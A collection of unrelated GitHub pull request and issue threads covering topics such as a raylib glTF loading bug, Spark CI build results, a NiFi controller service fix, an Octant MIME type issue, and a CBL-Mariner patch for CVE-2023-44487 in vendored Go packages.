Describe how to test/QA your changes
Nothing to QA for this PR, the QA instruction will be part of another PR.

Reviewer's Checklist

[ ] If known, an appropriate milestone has been selected; otherwise the Triage milestone is set.
[ ] Use the major_change label if your change either has a major impact on the code base, is impacting multiple teams or is changing important well-established internals of the Agent. This label will be use during QA to make sure each team pay extra attention to the changed behavior. For any customer facing change use a releasenote.
[ ] A release note has been added or the changelog/no-changelog label has been applied.
[ ] Changed code has automated tests for its functionality.
[ ] Adequate QA/testing plan information is provided if the qa/skip-qa label is not applied.
[ ] At least one team/.. label has been applied, indicating the team(s) that should QA this change.
[ ] If applicable, docs team has been notified or an issue has been opened on the documentation repo.
[ ] If applicable, the need-change/operator and need-change/helm labels have been applied.
[ ] If applicable, the k8s/<min-version> label, indicating the lowest Kubernetes version compatible with this feature.
[ ] If applicable, the config template has been updated.

Thanks for the reviews. Sorry I had to completely revisit the way we are going to handle non eBPF data source. So closing this one and opened this one : https://github.com/DataDog/datadog-agent/pull/21088


[models] glTF only displays first mesh

Create two cubes in Blender:

Export as glTF:
2cubes.gltf.zip
Load into models_loading.c example:
INFO: Initializing raylib 2.6-dev
INFO: Display device initialized successfully
INFO: Display size: 3440 x 1440
INFO: Render size: 800 x 450
INFO: Screen size: 800 x 450
INFO: Viewport offsets: 0, 0
INFO: GPU: Vendor:   ATI Technologies Inc.
INFO: GPU: Renderer: AMD Radeon RX 580 OpenGL Engine
INFO: GPU: Version:  4.1 ATI-2.11.20
INFO: GPU: GLSL:     4.10
INFO: Number of supported extensions: 46
INFO: [EXTENSION] DXT compressed textures supported
INFO: [EXTENSION] Anisotropic textures filtering supported (max: 16X)
INFO: [EXTENSION] Mirror clamp wrap texture mode supported
INFO: [EXTENSION] Debug Marker supported
INFO: [TEX ID 1] Texture created successfully (1x1 - 1 mipmaps)
INFO: [TEX ID 1] Base white texture loaded successfully
INFO: [SHDR ID 1] Shader compiled successfully
INFO: [SHDR ID 2] Shader compiled successfully
INFO: [SHDR ID 3] Shader program loaded successfully
INFO: [SHDR ID 3] Default shader loaded successfully
INFO: Internal buffers initialized successfully (CPU)
INFO: Internal buffers uploaded successfully (GPU)
INFO: OpenGL default states initialized successfully
INFO: [TEX ID 2] Texture created successfully (128x128 - 1 mipmaps)
INFO: [TEX ID 2] Default font loaded successfully
INFO: [/Users/richard/2cubes.gltf][gltf] Model meshes/materials: 2/1
INFO: [VAO ID 2] Mesh uploaded successfully to VRAM (GPU)
INFO: [VAO ID 3] Mesh uploaded successfully to VRAM (GPU)
WARNING: [resources/models/castle_diffuse.png] Image could not be loaded
WARNING: Texture could not be created
INFO: Target time per frame: 16.667 milliseconds

Only first cube is displayed:

@Gamerfiend

Could you please send an image of your export options from Blender? @electronstudio


[SPARK-7591] [SQL] Partitioning support API tweaks

Please see [SPARK-7591] 1 for the details.
/cc @rxin @marmbrus @yhuai

Merged build triggered.

Merged build started.

Test build #32713 has started for   PR 6150 at commit 189ad23.

Test build #32713 has finished for   PR 6150 at commit 189ad23.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/32713/
Test FAILed.

Merged build triggered.

Merged build started.

Test build #32714 has started for   PR 6150 at commit 2fc680a.

Test build #32714 has finished for   PR 6150 at commit 2fc680a.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/32714/
Test FAILed.

Merged build triggered.

Merged build started.

Test build #32781 has started for   PR 6150 at commit 37d1738.

Merged build triggered.

Merged build started.

Test build #32794 has started for   PR 6150 at commit 78b5eff.

Test build #32794 has finished for   PR 6150 at commit 78b5eff.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/32794/
Test FAILed.

Merged build triggered.

Merged build started.

Test build #32798 has started for   PR 6150 at commit af422e7.

Test build #32781 has finished for   PR 6150 at commit 37d1738.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/32781/
Test PASSed.

Merged build finished. Test PASSed.

Merging to master and branch-1.4.

Test build #32798 has finished for   PR 6150 at commit af422e7.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/32798/
Test PASSed.


Issue 6574 - Erroneous recursive call in template instantiation

https://issues.dlang.org/show_bug.cgi?id=6574
Improve mangling scheme to distinguish instantiations with specialized template parameters.
If a template argument matches to specialized template parameter, the argument is mangled with prefix 'H'.

Corresponding compiler fix: https://github.com/D-Programming-Language/dmd/pull/4270

Is there a way in github to specify that one pull is dependent on another?


How we could disable street information, such as transport stops?

How we could disable street information, such as transport stops?

Google Maps Android API v2 and Google Maps SDK for iOS do not support this feature, so impossible with this plugin.


NIFI-5154: When Processor or Controller Service is added to a Process…

… Group, remove any references from it to any other Controller Service that is not reachable from the newly assigned Process Group
Thank you for submitting a contribution to Apache NiFi.
In order to streamline the review of the contribution we ask you
to ensure the following steps have been taken:
For all changes:

[ ] Is there a JIRA ticket associated with this PR? Is it referenced
in the commit message?

[ ] Does your PR title start with NIFI-XXXX where XXXX is the JIRA number you are trying to resolve? Pay particular attention to the hyphen "-" character.

[ ] Has your PR been rebased against the latest commit within the target branch (typically master)?

[ ] Is your initial contribution a single, squashed commit?

For code changes:

[ ] Have you ensured that the full suite of tests is executed via mvn -Pcontrib-check clean install at the root nifi folder?
[ ] Have you written or updated unit tests to verify your changes?
[ ] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?
[ ] If applicable, have you updated the LICENSE file, including the main LICENSE file under nifi-assembly?
[ ] If applicable, have you updated the NOTICE file, including the main NOTICE file found under nifi-assembly?
[ ] If adding new Properties, have you added .displayName in addition to .name (programmatic access) for each of the new properties?

For documentation related changes:

[ ] Have you ensured that format looks appropriate for the output in which it is rendered?

Note:
Please ensure that once the PR is submitted, you check travis-ci for build issues and submit an update to your PR as soon as possible.

Will review...

Thanks for the PR @markap14! I ran into an issue with the proposed solution. Steps to replicate:

Create a PG
Add a Processor (InvokeHTTP) to the PG.
Add a CS (SSLContextService) to the PG.
Reference the CS in the Processor.
Copy the Processor out of the PG.
Processor CS reference is no longer valid and it's no longer a referencing component of the CS. Yay!
Create another PG at the same level as the in Step 1.
Move the copied Processor into the new PG.
Move the new PG inside the PG created in Step 1.
Copied Processor CS reference is valid again. Yay!
However, it does not appear as a referencing component of the CS :/

@mcgilman that's a great catch! I did try a scenario similar to what you outline, but in my scenario I moved that processor back into the original PG directly - not with the extra Process Group in between. I will make the necessary updates and push another commit. Thanks for reviewing!

@mcgilman I have pushed another commit, which I believe addresses the issue that you raised. I also found that if we have Group A that has a processor and that processor referenced a controller service in the same group, we didn't allow the user to move the processor outside of Group A. However, if the processor lived within Group B and Group B lived within Group A (i.e., GroupA is the outer group, which has child Group B, and child group has a Processor) then we did actually allow the entire Group B to be moved outside of A. I updated the verifyMove() logic to also prevent this, since we don't allow the processor to be moved out directly.

Thanks @markap14! This has been merged to master.


Define rule DDF00004

Does the rule need to specify that studyTitle is an attribute of StudyVersion?

@rbakercdisc1 Could not find the rule in the rule editor.

@rbakercdisc1 The comment in the rule is, "#Study class has the studyTitle attribute".  However, Study doesn't have a title attribute.  I think this rule should probably be "StudyProtocolDocumentVersion has a scientificTitle"  StudyProtocolDocumentVersion has more than one "title" attribute, but I think this rule is about a scientificTitle, rather than a publicTitle or a briefTitle.
Perhaps the mismatch is because I'm looking at the markdown Gerry created, and that is for a different version of the model than the one you were looking at.

@DianeWold  Yes, it was another version. The confusing part is if you look under StudyVersion entity/class then it is studyTitle which may be where this stems from. I updated it to the scientificTitle attribute (from the entity of StudyProtocolDocumentVersion).

We agreed not to create this as a separate rule because the need for a scientific title will be checked as part of the generic cardinality checking.


Bump Forge Std to get cheatcode visibility updates

Permit2 uses an old version of Forge Std, which contains an outdated Vm interface. This is an issue for users of the PermitSignature util, because Solidity throws a warning that the visibility for the following functions can be restricted (to either pure or view):

getPermitSignatureRaw
getCompactPermitTransferSignature
getPermitBatchSignature
getPermitTransferSignature
getPermitWitnessTransferSignature
getPermitBatchTransferSignature
getPermitBatchWitnessSignature

The solution is to upgrade to the latest Forge Std.

Closed by #205.


Handle dataflow constraints in Alive backend

looks good other than minor nits, please fix and squash

Fixed

Bad news: Not all the demanded-bits tests pass with this patch.
Good news: Some do..

LGTM, thanks!


Equipment/integration in modules tara

@EvaJanouskova This PR adds the equipment used for HIV, TB and malaria
linked to PR #1124

Hi @tdm32, I finalised the equipment integration style. All should be practically the same only may be coded slightly different. Feel free to check it out.
But I also did one change, which seem to me consistent with what you did elsewhere. In the HSI_Tb_FollowUp I update the equipment for the sputum and xpert test only if the results are not None. Is that correct?
See the commit: hv, ma & tb: finalise equipment induction style; HSI_Tb_FollowUp - eq…

Great thank you


Blank page in browser (0.8.0, Windows)

I've downloaded Octant 0.8.0 and it does only show a blank page in all my browsers (edge dev, chrome, firefox)
From the log it seems as if the Content-Type for JavaScript-files is wrong. Here's an excerpt:
Loading module from “http://<IP_ADDRESS>:7777/main-es2015.f3cf8b8bca1b3debed1e.js” was blocked because of a disallowed MIME type (“text/plain”).
I'm using Octant on Windows 10.

I am unable to reproduce this issue on Windows 10 with Chrome, FF, or Edge. If possible, could you provide the output of the web console and the network pane for any of the mention browsers.
Also, if you re-start Octant using the -v switch and provide the output of the verbose logging, we might be able to see something there as well.

When grabbing the Network Pane out, please use Ctrl+F5 to refresh the page (to avoid using the browser cache).

Hi. Here is a screenshot of Edge Dev and the corresponding verbose log of octant.

temp_octant_log.txt

It's the same error on stable chrome. The old Edge browser (not based on Chromium) shows the page.

I've tried to understand Go's http FileServer and it seems as if it never delivers text/javascript content types. But as you're not able to reproduce this error could that be a setting in my browsers?

@maehld did you ever get a chance to tryout the patch I suggested?

@wwitzel3 not yet. I'll give it a go today and will let you know.

@wwitzel3  I have trouble building octant on Windows. If I "go get" it, it is missing the presumably pregenerated frontend. Do you have a quick tip?

Ahh, yeah, so you would need to have npm and node and node installed and then you would run the following to build the front end.
cd web
npm run build
go generate ./web

So you would manually clone the repo (instead of go get). Run those commands to generate the UI and then go back to the root folder of the repo and run: go run ./cmd/octant/main.go -v

If that is too much hassle, I can build a binary for you with the fix and post a link so you can try it out (if you're comfortable with that).

I'm having the same issue, so the OP is not alone

@wwitzel3 go generate was the missing link. I've built octant with your gist and it works perfectly. Thanks.

@maehld Thank you so much for taking the time to test that! I will get a PR up shortly so this can be merged for the nightly build and the next release.


feat: run integration tests parallel

the tests are failing quite randomly, (also there are some solid fails too :) ) will investigate later probably.


Patch CVE-2023-44487 in vendored golang

Also unify how we handle vendored patching across
the affected golang packages.

Merge Checklist

All boxes should be checked before merging the PR (just tick any boxes which don't apply to this PR)

[x] The toolchain has been rebuilt successfully (or no changes were made to it)
[x] The toolchain/worker package manifests are up-to-date
[x] Any updated packages successfully build (or no packages were changed)
[x] Packages depending on static components modified in this PR (Golang, *-static subpackages, etc.) have had their Release tag incremented.
[x] Package tests (%check section) have been verified with RUN_CHECK=y for existing SPEC files, or added to new SPEC files
[x] All package sources are available
[x] cgmanifest files are up-to-date and sorted (./cgmanifest.json, ./toolkit/scripts/toolchain/cgmanifest.json, .github/workflows/cgmanifest.json)
[x] LICENSE-MAP files are up-to-date (./SPECS/LICENSES-AND-NOTICES/data/licenses.json, ./SPECS/LICENSES-AND-NOTICES/LICENSES-MAP.md, ./SPECS/LICENSES-AND-NOTICES/LICENSE-EXCEPTIONS.PHOTON)
[x] All source files have up-to-date hashes in the *.signatures.json files
[x] sudo make go-tidy-all and sudo make go-test-coverage pass
[x] Documentation has been updated to match any changes to the build system
[x] Ready to merge

Summary

Resolve CVE-2023-44487 aka CVE-2023-39325 (for golang specifically) by patching the vulnerable vendored go sources we use.
Change Log

Resolve CVE-2023-44487 aka CVE-2023-39325 in:

application-gateway-kubernetes-ingress
azcopy
cf-cli
containerized-data-importer
coredns
git-lfs
jx
keda
kube-vip-cloud-provider
kubevirt
local-path-provisioner
moby-buildx
moby-compose
moby-containerd
moby-containerd-cc
packer
prometheus-node-exporter
prometheus-process-exporter
rook
terraform
vitess

Does this affect the toolchain?

NO
Associated issues

https://microsoft.visualstudio.com/DefaultCollection/OS/_workitems/edit/48735735

Links to CVEs

https://nvd.nist.gov/vuln/detail/CVE-2023-44487
https://nvd.nist.gov/vuln/detail/CVE-2023-39325

Test Methodology

Local builds, PR gates

promethus-process-exporter has a known failure in %check, unchanged.

Auto cherry-pick results:

main :x: -> https://github.com/microsoft/CBL-Mariner/pull/7804

Auto cherry-pick pipeline run -> https://dev.azure.com/mariner-org/mariner/_build/results?buildId=502748&view=results


Reduce complexity and indentation: no else after return.

Applying the readability-else-after-return suggestions of clang-tidy.

Codecov Report
Base: 93.00% // Head: 93.00% // Decreases project coverage by -0.01% :warning:

Coverage data is based on head (bacc8cf) compared to base (658914d).
Patch coverage: 92.50% of modified lines in pull request are covered.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##           master    #1721      +/-   ##
==========================================
- Coverage   93.00%   93.00%   -0.01%
==========================================
  Files         352      352
  Lines       25496    25487       -9
==========================================
- Hits        23713    23704       -9
  Misses       1783     1783

Impacted Files
Coverage Δ

common/formatting/align.cc
89.46% <0.00%> (ø)

verilog/analysis/verilog_equivalence.cc
94.91% <0.00%> (ø)

common/strings/patch.cc
97.55% <66.66%> (ø)

common/analysis/lint_waiver.cc
93.51% <100.00%> (ø)

common/formatting/layout_optimizer.cc
93.67% <100.00%> (ø)

common/formatting/state_node.cc
95.45% <100.00%> (-0.03%)
:arrow_down:

common/formatting/token_partition_tree.cc
97.84% <100.00%> (-0.02%)
:arrow_down:

common/lsp/json-rpc-expect.cc
70.27% <100.00%> (ø)

common/lsp/lsp-text-buffer.cc
100.00% <100.00%> (ø)

common/parser/bison_parser_adapter.h
100.00% <100.00%> (ø)

... and 29 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.